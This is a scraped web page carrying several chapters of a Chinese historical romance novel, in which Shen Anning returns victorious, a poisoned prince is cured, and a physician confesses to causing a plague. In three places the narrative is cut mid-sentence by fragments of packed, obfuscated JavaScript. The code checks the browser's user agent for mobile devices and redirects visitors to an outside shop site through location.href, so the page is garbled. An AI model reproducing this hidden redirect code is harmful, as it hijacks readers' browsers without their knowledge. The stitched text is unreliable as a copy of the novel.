沈安宁瞟了一眼远处的府兵,一掌将穆文钦推开,迅速翻身上马,驾马离去,府兵们见状立即跑了过来,见穆文钦没受伤便要去追沈安宁,穆文钦却道:“不必了!” 府兵们不解,穆文钦目光冰冷,上了马往涿阳城内跑去。 府兵们立即跟上,穆文钦一路跑回了翮王府,府中热闹非凡,下人最先发现穆文钦,急忙跑去告诉坐在美人堆里的穆瞻,穆瞻闻言便笑着朝穆文钦而来,“阿钦定是活捉了沈安宁吧!来!和三伯一道喝几杯庆祝!” 穆文钦却直奔后宅而去,这让穆瞻脸上有些挂不住,他跟上了穆文钦,“你在找什么?这是后宅!” 穆文钦四处看着,偶有妇人见有外男进后宅,都十分惊诧,穆文钦却像是没看见,忽然他见到一处上了锁的院子,便径直走了过去,看了看上面的锁并未锁上,于是他开了门就进了屋内翻找,屋内都是灰尘,他挥了挥手,继续翻找着。 身后的穆瞻脸色十分精彩,忍不住道:“穆文钦!你知道你在干什么吗?跑到我翮王府发什么疯?” 这时穆文钦看见了书案上放着一个长长的木匣子,走近后见匣子上面落了厚厚的一层灰,他将木匣子打开,里面果然躺着一幅画,穆瞻见穆文钦没有回自己,正要上前来说,就看见了那只木匣子,他想不起来匣子里是什么,便要继续说穆文钦时。谁知穆文钦将画一展,众人顿时楞了。 穆瞻脸色又变了,他低声道:“这画……这画不是我的!是……是别人放在我这的!” 下人们见此都识相的下去了,穆文钦盯着那画卷中的女子,忽然抬头怒视着穆瞻,穆瞻有些心虚,随后扬起了下巴道:“你阿娘没嫁给你父王之前,就是杞国第一美人了,那时杞国男子谁手中没副你阿娘的画像啊?我只是……只是留着看看,又没想其他的!” 穆文钦将画卷卷了起来,放回了木匣子中,看向了穆瞻,穆瞻有些害怕道:“你要干什么?” 过了不久,穆文钦抱着木匣子出了翮王府,当夜翮王府传了十几个医者。 这时的沈安宁骑着马一路跑到了涿阳城外,换上了自己的三妹,沈安宁回头一看,这匹马也是上好的战马,若留在此处太可惜,于是她带上了那匹马去追张千他们,经过几日追赶终于是赶上了。 小公公见她回来了也没再多说什么,只是好奇她怎么拉回来了一匹战马,众人就这样一路回了洛京。 洛京早有消息平川军队得胜归来,所以孙雪燕、方景淮她们早早地就在洛京城门等着了。 忽然彩云指着远处,笑道:“夫人!夫人!你快看!是她们!是她们回来了!” 众人闻言都朝哪看去,沈安宁远远地就看见了一行人在城门下,她朝张千点了点头先跑向了城门,下了马后,孙雪燕立即上前,吕叔也帮沈安宁牵过三妹。 孙雪燕看着沈安宁道:“瘦了些!” 沈安宁笑道:“没有!” 孙雪燕这才笑了,这时沈安宁看向一旁看着自己的方景淮,又见他穿得厚厚的,脸色却还是惨白,沈安宁立即将背上的木盒拆下,递给了叶云舒,“叶姑娘,你看是这个吗?” 108. 第一百零八章 凯旋 在场众人闻言都靠近了看,叶云舒接过木盒后打开,见里面的终岁草依然鲜活,笑道:“是它!” 一旁的众人都是满脸疑惑,陈子洵最先开口问道:“这是什么?” 叶云舒和沈安宁对视了一眼,才看向了方景淮。方景淮一愣,心中便明白了这是什么,耳边是沈安宁和陈子洵解释这草药。 叶云舒回头看向沈安宁,认真道:“等我先带回去看看!” 沈安宁点了点头,又看向了一旁的方景淮,道:“你们都别在这吹风了,我先进宫觐见圣上,出宫之后再与你们细说!” 说着沈安宁朝方景淮点了点头,便上了马,等了一会队伍前来,跟着队伍一道进了城。 进宫后,方承尧在御书房召见了沈安宁、张千,诸位大人以及方景泽和方景澄也一同在御书房听着沈安宁详细回禀赤州城和平川的战事。 听后,方承尧倚在龙椅上,咳了好几声才平稳下来,笑道:“好!好!好!你收复赤州城有功,想要什么赏赐?你说!” 沈安宁抬头正要说话,一旁的陆柏倒是先开口道:“圣上!沈安宁虽收复赤州城有功,可沈家侍女是杞国人是不争的事实,若是因沈安宁立功就赦免了沈海的罪,众人怕是难以信服!” 邵盛闻言也言道:“是啊!圣上!这难以让人信服!” 沈安宁冷笑道:“我这还没开口,陆国公和中书令便以替我想好了奖赏,真是有劳了!” 陆柏想起自己被斩首的孙儿,心中对沈安宁又多了几分恨意,正要再说时就见方景泽朝他使了个眼神,陆柏心中有气也不好再说,又站了回去。 邵盛可就没什么顾忌,他派去的人手脚算是干净,可若真要让沈安宁去查,这事始终是个隐患,于是开口道:“难道你没有此心?” 沈安宁朝方承尧道:“臣女并不想要什么奖赏,因为这场胜仗功不在臣女,而是在赤州二十万将士们,更是在为国尽忠的两万六千一百二十个英魂,臣女不愿以此军功求得圣上赏赐。”说着沈安宁上前跪下,“臣女只想以一个女儿的身份,求圣上彻查沈家一案!还望圣上恩准!” 张千见状也上前,跪在了沈安宁身旁,“求圣上彻查!” 杜泉看着她们两个,没有言语。 方承尧看着低下跪着的沈安宁,沈家一案他多少也有些明白了,他虽没想过让沈海死,却也头疼他手中的兵权,当初让沈安宁去统领赤州军队已是不得已,如今要是再彻查……方承尧看了一眼一旁看着沈安宁的方景泽,思量了片刻,咳了几声后,道:“你说得有理,赤州的将士们朕都会赏赐,如今你收复赤州城有功,朕不会将沈海与杞国人有勾结一事牵扯到你,你大可放心!起来吧!” 张千闻言一愣,沈安宁却好像是早已料到,从一开始方承尧要方景淮阻止方景泽接近自己便能看出,沈家,一开始就是枚弃子。 沈安宁心中一处沉了下去,她抬头看了一眼方承尧,又将目光移向了正在看着自己的方景泽,最后应下了。 张千见沈安宁不再坚持,心中虽是不解,却也跟着沈安宁一起。 方承尧命她们起来,又说了些赤州军营的事便让她们离开了。 众人向方承尧行了一礼后便都离开了御书房,杜泉抬头看了一眼又在咳的方承尧,才转身离去。 沈安宁和张千正要出宫,张千见前后无人了,正要问沈安宁刚刚在御书房的事,忽然一声清脆的孩童声传来,“师父!” 两人闻声回过头,见方昭潇正朝她们跑来,她的身后是方昭清和方昭溪。 张千见状,朝沈安宁道:“我在宫门口等你!” 沈安宁道:“你先回去吧!” 张千知她是要去燕王府,解毒的药草才刚送到叶云舒手中,想必此时叶云舒正在燕王府解毒,于是无奈道:“好!” 说完张千便朝三位公主行了一礼,转身朝宫外走去。 方昭潇跑了过来拉着沈安宁的手道:“师父!你终于回来了!” 方昭清和方昭溪也走上了前,方昭清笑道:“沈姑娘,赤州城的事我们都听说了!恭喜你!” “是啊!”方昭潇拉着沈安宁的手晃了晃,“师父!你好厉害啊!” 沈安宁看着似乎比去年高了一截的方昭潇笑了笑,又退了一步朝三人行了一礼。 方昭溪看了一眼沈安宁,道:“活着回来了!不错嘛!” 沈安宁知她是关心,朝三人道:“并非我厉害,是我们姜国的将士们厉害!” “我不管!我师父就是厉害!”方昭潇又上前拉起了沈安宁的手,“师父!你教我的枪法我都练熟了!你这次回来要待多久?什么时候教我新的?” 沈安宁笑了笑,“会有时候的!” 方昭潇开心道:“真的吗?太好了!” 方昭清看着沈安宁道:“边境苦寒,沈姑娘像是瘦了些?” “多谢公主关心!” 方昭潇又拉着沈安宁讲了些家常的事,像是要把这一年宫中发生的事都说给沈安宁听了,眼见着宫门就要关了,沈安宁才终于得以脱身。 沈安宁出了宫后先去了躺医馆,不出她所料叶云舒果然还在。 医馆有一处给医者们休息的小屋子,因叶云舒几乎像是住在这里,所以这间小屋子便给了她使用,另外寻了一处来供医者们休息,沈安宁到时叶云舒正在这间小屋子里忙活着,仔细翻弄着沈安宁带回来的那株草药,一时没有发现沈安宁已经站在了门外。 沈安宁轻轻敲了门,叶云舒这才回过头来,见是沈安宁来了后便请她进来,“沈姑娘!” 沈安宁看着那株草药,问道:“这株草药真能救他?” 叶云舒听后楞了楞,直起身来,“其实我也不确定,就像我信中所说,殿下所中的毒可能就是这种草药所制,但制药的配方、剂量我们都不清楚,而且他中毒已经很久了,先前用过什么法子去压制,和这株草药的药性会不会冲突我们一概不知,所以只能去慢慢试!但……” 沈安宁若有所思道:“但是什么?” 叶云舒想了想,也不再瞒着沈安宁,“但他体内的毒已经蔓延开了,可能时日无多了!” 沈安宁一惊,“可淑妃娘娘……” “许是下毒时的剂量不同,总之我们没多长时间可以用来试了!” 沈安宁楞了许久,“他知道吗?” 叶云舒一怔,随后点了点头。 沈安宁转头看着那株草药,道:“你尽管去配药吧!若是要有人试药,就让我来!” 叶云舒看着沈安宁没有说话。 沈安宁出了医馆后沉默了许久,才转身朝燕王府去,陈子洵刚到医馆,忽然见前方有个身影很像沈安宁,他远远地看了会,便转身进了医馆。 沈安宁到燕王府时,抬头看着府门上的牌匾,收拾了心中的杂乱,正要进去时,忽然身后传来一声:“小姐!” 沈安宁闻声回过头去,来人正是吕叔,吕叔上前道:“张将军命我来告知小姐,殿下在沈府,我去了宫门处才知小姐已经出宫了,便想着小姐定是已经来了燕王府,于是就赶紧过来了!小姐!我们回府吧!” 沈安宁点了点头,回头看了一眼牌匾,便转身回了沈府。 进了府后,和孙雪燕一边寒暄一边朝正厅去,才看到裹得严严实实的方景淮,方景淮一见沈安宁便起身朝她看了过来,沈安宁上前,方景淮眉眼一弯笑了笑。 孙雪燕和张千等人见状便离开了,晴云道:“小姐一路辛苦了!殿下给小姐准备了晚饭,我这就去端过来!” 众人都离开后,方景淮笑道:“你说让我等你凯旋,我等到了!” 沈安宁扯着嘴角笑了,“那你……再等等我!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260113|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 方景淮见她如此,心中思量了片刻,“你都知道了?” 沈安宁点了点头,方景淮见她眉头不展,安慰道:“叶姑娘会有办法的!” 沈安宁盯着他的眉眼,那种熟悉的无力让她有些恐惧,她喃喃的重复道:“会有办法的!” 方景淮自小中毒,他无数次想过自己有一天会死,也无数次想过能解了这毒,可一次次的失望让他也渐渐接受了这跟了他十几年的毒,甚至觉得就这样死去除了有些遗憾没有走遍山川湖海外,也没什么值得留恋的。 可自从见到了沈安宁,他时常在想要是没有中毒该多好,那种无数次想解毒的心思又一次占据了他的心头,到了今日,看着沈安宁就站在自己面前,这种想要解毒的心思更甚。 方景淮不由得伸出手,想要抱一抱沈安宁,忽然传来一声,“小姐!” 方景淮停顿了片刻又收了回来,和沈安宁一道朝门口看去,原来是晴云端着晚饭来了。 沈安宁回头看了一眼方景淮,便道:“燕姨她们呢?” 晴云讲晚饭放下,道:“孙夫人先回陈府了!张将军说他带表少爷去逛逛洛京!” 沈安宁点了点头,走了过去,看着都是自己爱吃的菜后,回头看了一眼跟在她身后的方景淮。 方景淮笑道:“你不在这一年,我厨艺可长进了许多,快尝尝!” 沈安宁坐下后拿起筷子夹了一片鱼肉尝了尝,方景淮歪头笑道:“怎么样?” “还可以!” 方景淮笑着伸出了手,给她盛了一碗鱼汤,“这一天估计也没吃什么,你多吃些!” 晴云看着她们两个,笑了笑悄悄离开了。 沈安宁看着他瘦了的脸庞,道:“你也多吃!长胖些!” 方景淮笑道:“好啊!那我们一起胖!日后一道出门,别人一看,哇~你们一个人竟然有两个人这么宽!” 沈安宁笑了笑。 晚饭后,沈安宁便道:“我送你回王府吧!” 方景淮单手撑着下巴靠在桌上,“怎么?你们沈府连间厢房都没有吗?” 沈安宁一愣,方景淮已经起身,“我还住我原来住的那间!” 沈安宁点了点头,“好!” 两人朝院子走去时,沈安宁忽然听见一阵清脆的风铃声,她回头朝方景淮的厢房看去,一只梨花状的风铃正挂在窗上。 方景淮跟随沈安宁的目光看去,他想起沈安宁离京前,将这只风铃交给自己时,曾说:“你若听见风铃响起,那定是我自赤州给你送来的凯旋之音!” 方景淮笑了笑:“去过军营以后,我知道你为什么喜欢这风铃声了,它确实很像军队的凯旋之音!” 沈安宁回头看他,月光下,两人相视一笑。 第二日,沈安宁一早便去了庙中看江秋妤、沈海和阿月,祭拜了三人后,沈安宁便像吕叔说起停灵在此多有劳烦庙中人,要他前去捐些香油钱,吕叔听后便去了。 沈安宁跪在三副棺椁前烧纸钱,等看着时辰差不多时,便要准备回府了,她向三副棺椁告别,随后出了门想去找吕叔,她正四处找着,忽然见远处有一个小和尚提着一个食盒朝后院走去。 沈安宁见状,思量了片刻便要跟上去,这时吕叔正捐了香油钱出来,一见沈安宁就上前道:“小姐!” 沈安宁应了声,正要和他说起那个小和尚,就听见身后传来晴云的声音:“小姐!小姐!” 沈安宁和吕叔一道回头看去,见晴云急急忙忙跑来,“小……小姐!叶……叶姑娘她说……她说她配出解药了!” 沈安宁和吕叔皆是一惊,沈安宁喜道:“真的?我这就回去!” 说着沈安宁就要往庙外跑,忽然她一顿,吕叔脸上还是喜色,见状问道:“小姐,怎么了?” 沈安宁道:“有件事你现在去办一下!” 109. 第一百零九章 解毒 一辆马车停在了沈府门口,沈安宁一跃跳下了马车直奔府中而去,等沈安宁到了厢房时,见陈子洵、张千和江时鸣都过来了,正站在厢房外来回走着,三人听见声响后朝外看去,一见是沈安宁来了,三人互相看了一眼彼此,目光躲闪。 沈安宁见状,心中很是不安,她问道:“叶姑娘来了?” 张千点了点头,又看向了陈子洵,陈子洵犹豫道:“阿宁,燕王他……” 沈安宁呼吸倏地一滞,“他怎么了?” 陈子洵又看向张千,沈安宁见他两相互推诿,便要进去,江时鸣急忙拉住沈安宁,道:“今早你刚出门没多久,方景淮他就晕倒了!不过叶医师已经来了!” 张千见沈安宁神情,又立即接道:“我就怕你着急,就先去找了叶姑娘,到了医馆才知叶姑娘去了燕王府,说是解毒有了些进展,我便前去将她接来,又让晴云去找你来,现在叶姑娘正在给他看诊。” 沈安宁跑了进去,张千、陈子洵和江时鸣,也跟着进了厢房,几人见叶云舒正收起看诊的手,叶云舒回头一见沈安宁来了,便起身走向了自己的药箱,沈安宁坐到了床边,拉起方景淮的手时忽然一愣,他的手冰冷的像是冬日里的石头。 沈安宁立即看向叶云舒,正要问出口,就见叶云舒眉头紧皱道:“他中得毒能让人像是正常衰老而亡,原先虽压制着毒性,但还是让他的身体有了损伤,如今压制的法子渐渐失效,他已经……没多久了!” “没多久?”沈安宁忽然想起江秋妤死在她怀中的时候,她摇了摇头,让自己冷静地问道:“那该如何解毒?你有了解毒的法子吗?” 叶云舒听后眉头皱得更深了,“我翻了我阿娘当年替淑妃娘娘看诊时对淑妃娘娘中毒时的记载,依着当时中毒的一些症状以及我阿娘的一些记录,确实写了一个方子,只是……毕竟我们都没见过这种毒药,这方子能不能解,以及若能解毒,解毒后会有什么异常,我都不是很清楚。” 沈安宁回头看着似乎睡得很安心地方景淮,将他的手小心地放进了被窝,才起身道:“若是有人能试药呢?” 叶云舒、陈子洵和江时鸣闻言皆是一怔。 “不行!”说着张千又看了一眼沈安宁,“你还有大好的年华,这药还不知道有什么后果,你绝对不能试药!” “是啊!阿宁!”江时鸣上前道:“要是你试药后有个什么,我怎么向我阿爹交代?” 沈安宁正要说话,张千打断道:“若真要有人去试,那就让我来!我活了这几十年也够本了!” “张叔!”沈安宁道:“人都是求生的,哪会求死?叶姑娘,你不用担心,放心去试便好!” 张千和陈子洵正要再说,叶云舒道:“你们这是做什么?我既身为医者,哪有用人去试药的?” 说着叶云舒看向方景淮轻叹道:“更何况,他已经等不起试药了!” 沈安宁心沉了一寸,回头看着方景淮,沉默了片刻,道:“那……就请姑娘抓药吧!” 叶云舒点了点头,正要提起药箱,就见药箱已经腾空而起了,叶云舒抬起头见药箱已被陈子洵提了过去,陈子洵对上叶云舒的目光,朝她点了点头,两人便一道离开了厢房。 张千见沈安宁已经坐下了,便转身离开了,一旁的江时鸣想要上前和沈安宁说些什么,但见她盯着方景淮十分安静,想了想,江时鸣也出了厢房。 沈安宁看着睡得十分安稳的方景淮,不知他梦到了什么,她突然害怕,害怕方景淮留恋梦中的一切不再回来了,忽然一阵风铃声传来,沈安宁回头看向窗边,那只梨花风铃正轻轻摇摆着,像是在呼唤着谁。 梁妈妈见方景淮已有一日没回府,虽让人送来了消息说他歇在了沈府,但梁妈妈想起方景淮近几日似乎比往常更畏寒了,心中很是担心,思来想去,梁妈妈还是来到了沈府。 沈府自抄家后便没什么下人了,吕叔还未回府,晴云本要跟着叶云舒前去煎药,但见陈子洵和叶云舒配合得很好,也用不着别人了便出来看看沈安宁还需要什么,正巧遇见了一人在正厅四处看着,晴云疑惑地上前道:“你是谁?” 梁妈妈一惊,回过头见是一个漂亮的小娘子,笑道:“我来找殿下!” 晴云明白了过来,“你是燕王府的?” 梁妈妈点了点头,晴云又道:“你跟我来!” 说着就带着梁妈妈去了厢房,晴云敲了敲门,听见沈安宁的声音后带着梁妈妈进了厢房,梁妈妈一见方景淮躺在床上,便急忙跑近道:“殿下?” 沈安宁见此人正是冷宫里遇见的那位妇人,又回头看向了晴云,晴云会意,上前道:“她说她是燕王府的人,我就带她进来了!” 沈安宁点了点头,回头看向梁妈妈,“叶姑娘去煎药了!” 梁妈妈这才将目光分给沈安宁,点着头道:“多谢你!” 沈安宁没有言语。 一个时辰后,陈子洵端着药跟着叶云舒来了厢房,沈安宁回头盯着那碗药,陈子洵道:“阿宁,我来喂他吧!” 沈安宁摇了摇头道:“我来吧!” 陈子洵听后便把药给了沈安宁,又坐在了床头将方景淮扶了起来,沈安宁将药一点一点喂给方景淮,之后再由叶云舒给方景淮施了针。 一顿忙活便到了戌时,叶云舒收了针,抬手一拭了拭额头的汗珠,回头见沈安宁正急切看着自己,便道:“如今我们该做的都做了,一切都看他能不能过了今夜了!” 沈安宁回头看向躺着的方景淮,这时,张千和江时鸣端了饭菜前来,“忙活了半天,都饿了吧!快来吃饭!” 陈子洵和晴云上前将桌子收拾出来,又接过两人手上的饭菜,陈子洵见叶云舒过来了,替叶云舒盛了饭菜。 沈安宁正要走向床边,就见张千上前来,“阿宁,先吃饭吧!” 江时鸣见方景淮身旁多了一位不认识的人,于是问道:“这是?” 沈安宁回道:“这是燕王府的妈妈。” 说着沈安宁到了桌边坐下,随意吃了几口饭菜就放下了碗筷,坐到了方景淮床边,众人见状也没再多说什么了。 沈安宁朝梁妈妈道:“你也先去吃点吧!” 梁妈妈摇了摇头,只盯着方景淮。 沈安宁也没再强求,不久众人吃完收拾了桌子,张千见沈安宁正替方景淮擦额头的汗水,也没再离去了,随意寻了个座椅坐下了,江时鸣见状也跟着他坐在了一旁。 就这样安静了许久,忽然张千问道:“吕叔呢?怎么今日不见他?” 江时鸣也疑惑道:“是啊!今日好像是跟着阿宁出去了,之后就没见到了!” 众人看向沈安宁,沈安宁看着窗外的月光,道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296235|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他去办点事,应该快回来了!” 张千、陈子洵等人不解,但也没再多问,沈安宁看向一旁的梁妈妈,想起她在冷宫时说起的小姐,若她现在是方景淮的人,那当时说的小姐……是贤妃? “你是……贤妃娘娘的人?” 众人闻言皆朝这边看来,梁妈妈盯着方景淮点了点头。 坐在一旁的叶云舒见状问道:“那你知道他是如何中毒的?” 梁妈妈闻言沉默了许久,眼中缓缓蓄上了泪水,“是那个坏人给他下毒的,他一定想害小姐,只是没想到那份下了毒的糕点被殿下吃了!” “坏人?”叶云舒有些疑惑,见一旁的沈安宁给自己使了个眼色,她似乎明白这个坏人是谁,叶云舒也就没多问了。 江时鸣问道:“那他这毒当初是谁给他治的,当初能治,现在把他找来,说不定也能治!” 梁妈妈闻言像是回忆起了什么,沉默着抬头看了一眼叶云舒,才朝叶云舒开口道:“是齐博士!” 叶云舒一怔,“那你知道他现在在何处吗?” 梁妈妈摇了摇头,叶云舒失落道:“当年他应当也是借鉴了故人之法,才将殿下中的毒压制下来。” 梁妈妈点了点头,回忆道:“当时冷宫中好不容易才得了一盘精致的糕点,小姐让殿下先吃,谁知糕点中竟然有毒,小姐让我去请医师,我记得那天的雨下的很大,大到我都看不清路,我哭着跑到了太医署,却没有一位医师愿意去替殿下看诊,他们都怕得罪太后,连门都不让我进,我跪在太医署外求了好久,直到齐博士撑着伞出现,他说让我给他带路,我带着他回到冷宫中时,殿下早已经晕死过去了,齐博士救了殿下,却也因此得罪了太后,是小姐去向那个坏人求情,才得以保下齐博士,只是自哪以后齐博士便被那个坏人调去当太医署的医博士了,不再替人看诊了。” 梁妈妈说完又看向方景淮,“多亏了齐博士,殿下才能活下来!” 沈安宁也顺着梁妈妈的目光看向方景淮,叶云舒、陈子洵等人听后都十分同情的看向梁妈妈,这时,厢房外传来响声,很快,吕叔就来到了厢房外,张千让他进来,问道:“你去办什么事了?” 吕叔闻言看向沈安宁,沈安宁点了点头,吕叔才道:“果然不出小姐所料,庙的后院一间杂物中住了两个不是他们庙里的人。” 张千、陈子洵等人听后起身道:“什么人?” 吕叔又看向叶云舒,顿了顿,道:“齐博士和……叶姑娘的师父。” 叶云舒立即起了身,“我师父?” 吕叔点了点头,江时鸣道:“原来齐博士并未离开洛京!” 陈子洵看了看叶云舒,又看向沈安宁,道:“要我去将人带回来吗?” 沈安宁思量了片刻,正要说话时,就听见耳边传来方景淮虚弱的声音,“带……回来!” 梁妈妈喜极而泣,“殿下!殿下你醒了!” 众人闻言都聚了过来,沈安宁回头见方景淮睁开的双眸,见他正看着自己,沈安宁忽然觉得好像很久没有见到他了,此刻很是想念他。 沈安宁停顿了许久,忽然道:“叶姑娘!” 众人也给叶云舒让出了一个位置来,叶云舒坐在了梁妈妈坐的位置,拉过方景淮的手,替他把脉来,方景淮看着沈安宁紧皱的眉头,笑道:“好久不见!” 110. 第一百一十章 真相 众人看着叶云舒给方景淮诊脉,方景淮却只盯着沈安宁,终于在众人屏气凝神看着叶云舒良久后,见叶云舒的眉头渐渐舒展开来。 叶云舒放下了方景淮的手,众人都紧迫地看着她,叶云舒这才将目光从方景淮身上移到了沈安宁身上,“毒……终于解了!” 众人都松了口气,沈安宁的眉头也终于展开了,叶云舒又道:“毒虽是已经解了,但这毒毕竟在他体内太久,对他的五脏有一些损害,不过现在毒已经解了,可以慢慢调养,不用太过担心!” 梁妈妈有些不敢相信地问道:“真的吗?殿下的毒真的解了?” 叶云舒点了点头,梁妈妈这才终于相信了,她看向了方景淮满眼泪花。 张千和江时鸣等人想沈安宁和方景淮此时应有很多话要说,于是都退了出去,叶云舒道:“我这就去开调养的方子!” 陈子洵帮叶云舒提了药箱,两人一道出去了,吕叔正要走时,方景淮这才将目光从沈安宁身上移开,有些虚弱道:“等等……” 沈安宁唤道:“吕叔!” 吕叔回头走了过来,“小姐!” 方景淮似乎想要坐起来,只是过于虚弱有些难以支撑起来,吕叔见状立即上前帮方景淮,梁妈妈又趁机将一只软枕垫在了床头,这才让方景淮靠在床头上,方景淮道:“齐……去把他们……找来!” 沈安宁转头吩咐道:“去把齐博士和叶姑娘的师父请来!” 吕叔听后应了声,便转头离开了。 梁妈妈满眼泪光地看着方景淮,方景淮笑了笑:“叶姑娘刚说了我没事了!你不用担心了!” 梁妈妈点了点头,方景淮看向沈安宁,“你也不用担心了!” 沈安宁看着他的双眸,依旧清澈如溪水,心中安稳了许多。 过了片刻,方景淮才道:“我怀疑……一年前洛京瘟病一事,与叶姑娘的师父有关。” 沈安宁和梁妈妈同样的疑惑,沈安宁问道:“为何?” “叶姑娘的师父是她阿娘的师兄,同样也是齐博士的师兄,他爱慕叶姑娘的阿娘,定是为了当年梁家一案回的京!”方景淮缓了缓,又道:“一来他们进京的时间和瘟病的时间正好契合,二来他为梁家一案而来,却沉默了这么久没有动作,实在让人难以琢磨。” 梁妈妈连忙摇头道:“不会的!不会的!陶医师是一位医术高明的好医师,救人无数,怎么会去害人呢?” 方景淮思量道:“我猜是为了让叶姑娘去解瘟病,声名鹊起,被为淑妃娘娘寻找名医的圣上看见,圣上求医心切,定会召她入宫,所以才会选梁府老宅的那条水路,因为叶姑娘回洛京了必定会去那处老宅看一看。” 沈安宁正思忖道:“当初我把在那条水路源头处捡来的,有着和梁府老宅一样味道的石头给齐博士和叶姑娘看时,齐博士的神情看上去确实有些怪异,如今想来会不会当时他就已经知道了是何人?” 说着沈安宁又思量了片刻,“哪些石头和草交上去后便没来后文……” 沈安宁抬头对上了方景淮的目光,两人都明白对方想到了什么,这时厢房外传来响声,叶云舒、陈子洵和晴云端着药前来,梁妈妈起身让开了,沈安宁接过药碗。 叶云舒看向方景淮,语气中久违地带上了一些开心,道:“你身上的毒虽解了,只是这些日子还是要细心养着,我会及时看你恢复如何给你调整药方。” 方景淮笑着道了声多谢,正要去接沈安宁手中的药碗,就见沈安宁舀了一勺子吹了吹送到了他嘴边,方景淮一愣,随后眉眼弯弯,由着沈安宁喂着自己。 一碗药下去,方景淮出了满头的汗,梁妈妈替他擦着。 沈安宁看向叶云舒,想要询问的话还未出口,叶云舒便道:“这是正常的,只是他现在身子较弱,不宜着凉,还是换身衣物吧!” 沈安宁听后便让晴云找来了一身男子的衣物,随后几人出了厢房等着,沈安宁看向一旁的叶云舒,正要向她提起齐茂成的事,就听见张千的声音传来,“阿宁!阿宁!” 厢房外的几人朝声音的来处看去,见张千、江时鸣和吕叔带着两人前来,叶云舒一见两人便愣了,上前道:“师父?” 陶峰一头白发,一见是叶云舒便别过了脸去,叶云舒很是不解,又见一旁的齐茂成正看自己,便唤道:“师叔!” 齐茂成轻叹了口气,这时方景淮出了厢房,众人听见了声音后都往方景淮处看去,沈安宁和梁妈妈上前去扶他,方景淮也没拒绝,任由两人一左一右地扶着。 这时陶峰朝方景淮走了过来,只盯着方景淮看,眼见陶峰就要走到方景淮面前时,沈安宁站到了方景淮面前,挡住了陶峰,陶峰这才看了一眼沈安宁。 齐茂成这时也满脸怀疑地了过来,方景淮拍了拍沈安宁的肩,沈安宁侧眼看了他一眼,便让开了。 齐茂成正伸出手,就见陶峰已经替方景淮诊起脉来。 陶峰十分严肃,过了好一会,他才满眼难以置信地抬头看向方景淮,齐茂成见状也拿过方景淮的手把了会脉,惊道:“毒……解了?” 说着齐茂成回头看向叶云舒,盯着叶云舒看了好一会,突然笑了,“解了!毒解了!” 叶云舒上前道:“是啊!虽没能救得了淑妃娘娘,不过解了殿□□内的毒,也算完成阿娘的遗愿了!” “解了?”陶峰喃喃道:“毒解了!” 方景淮走到一旁的吴王靠旁坐下,沈安宁双手交叉抱胸立在一旁,张千趁机趴到吴王靠外边看着陶峰和齐茂成,江时鸣见状也学他一样趴了上去,心中满是疑问,见一旁坐着方景淮,现在虽然知道他是皇子,但见他和沈府算是亲厚,也没什么架子,便小声朝方景淮问道:“这就是叶姑娘师父?” 方景淮看了他一眼,就听见叶云舒的声音响起。 “师父?”叶云舒走到陶峰面前,“师父?近日你都去哪了?” 陶峰抬眼看向叶云舒,沉默了许久,似乎没听见叶云舒的问题,只自顾自道:“你果然如阿晴所说,很有天赋!” 说着陶峰便又沉默了,一旁的齐茂成解释道:“是我将他带走的!” 叶云舒看向齐茂成,思量了片刻,“我和师父来洛京是为……” “我知道!”齐茂成叹了口气,“第一眼见你,就觉得你的眉眼很像阿晴,后来见到沈姑娘带来的石头上的药渍,便已猜到,应该是大师兄回来了!” 叶云舒闻言,心中像是什么忽然响了一下,她回头看向了陶峰。 陶峰没有看她,只依旧沉默着,叶云舒心中有种猜测,但又觉得自己不该这样揣测师父,她想问却又问不出口,一旁的齐茂成见她这般,便道:“一年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13312878|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前洛京城的瘟病……是他做的!” 叶云舒还是不敢去相信,她看向陶峰,想要得到陶峰的回答,那个从小教自己行医救人的师父的回答。 陶峰沉默了良久,才道:“是我!” 陶峰突然回头看向叶云舒,面目狰狞道:“是我做的!当年我就常在洛京城外采药,对城外的山水十分熟悉,是我故意下得药!” 叶云舒觉得自己脚下似乎空了,像是要往下坠,这时陈子洵上前扶住了叶云舒的肩膀,叶云舒才又有了站在了实处的感觉。 “为什么?”叶云舒心中有一处塌了,压得她心口很闷,“为什么?你不是教我,医术是救人的,不是害人的吗?” “救人?”陶峰回头看向叶云舒,嘲讽道:“那谁救叶家满门?谁来救梁府那两百多人?” 叶云舒声音中带了一丝哭腔,“可百姓有什么错?” 陶峰背过了身,叶云舒忽然想起那日在酒楼遇见的冯固,她问道:“冯将军……他也知道?” 陶峰看向了屋檐处,“他知道!” 齐茂成道:“所以冯将军当初在狱中只说自己勾结前朝余党一心求死,因为他不忍心看你去送死,所以帮你善后了!他心中过不去这道坎!” 